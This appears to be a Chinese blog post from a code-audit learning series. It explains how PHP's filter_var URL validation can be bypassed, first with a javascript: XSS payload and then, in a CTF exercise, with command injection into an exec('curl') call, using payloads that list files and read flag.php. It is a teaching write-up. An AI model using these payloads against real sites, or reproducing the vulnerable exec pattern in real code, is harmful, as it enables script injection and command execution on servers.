[代码审计Day2] filter_var函数缺陷代码审计

 简介

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '<img ' .
      'src="https://loremflickr.com/320/240">' .
      '<a href="{{link|escape}}">Next slide &raquo;</a>';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new Twig\Loader\ArrayLoader([
      'index.html' => $indexTemplate
    ]);
    $this->twig = new Twig\Environment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this->twig->render(
      'index.html',
      ['link' => $this->getNexSlideUrl()]
    );
  }
}

(new Template())->render();

 

filter_var() 函数通过指定的过滤器过滤变量。

filter_var(variable, filter, options)

 

 variable 必需。规定要过滤的变量。

  filter 可选。规定要使用的过滤器的 ID。

  options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。

FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。

 

eg:

<? 
$url=filter_var($_GET['url'],FILTER_VALIDATE_URL);
 var_dump($url);
 echo '<br>';
 $url=htmlspecialchars($url);
 var_dump($url);
 echo "<a href='$url'>Next slide</a>"
 ?>

payload:

?url=javascript://comment%250aalert(1);

 

在JS中//表示单行注释 所以后面的内容均为注释内容  %25是%的url编码 %0a是换行字符的url编码,

因为换行了后面的alert(1)就不在同一行了也不在注释的范围之内了 所以就能执行了 

在执行过程中将浏览器发来的payload:javascript://comment%250aalert(1) 先解码成: javascript://comment%0aalert(1) 存储在变量 $url中 

然后用户点击链接就会触发弹窗!

 

 

 

 

 

 简介

1

 CTF例题

 

代码1

// index.php
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
View Code

 

 代码2

// flag.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
View Code

 

 

windows环境下payload:

http://127.0.0.1/test.php?url=test://"|type=flag.php;sec-redclub.com

 

linux环境下payload

http://192.168.52.129:6666/index.php?url=test://"|ls;"sec-redclub.com

http://192.168.52.129:6666/index.php?url=test://"|cat<>ls;"sec-redclub.com

 

 简介

11

------------恢复内容结束------------

posted @ 2020-04-08 16:20  笑花大王  阅读(219)  评论(0编辑  收藏  举报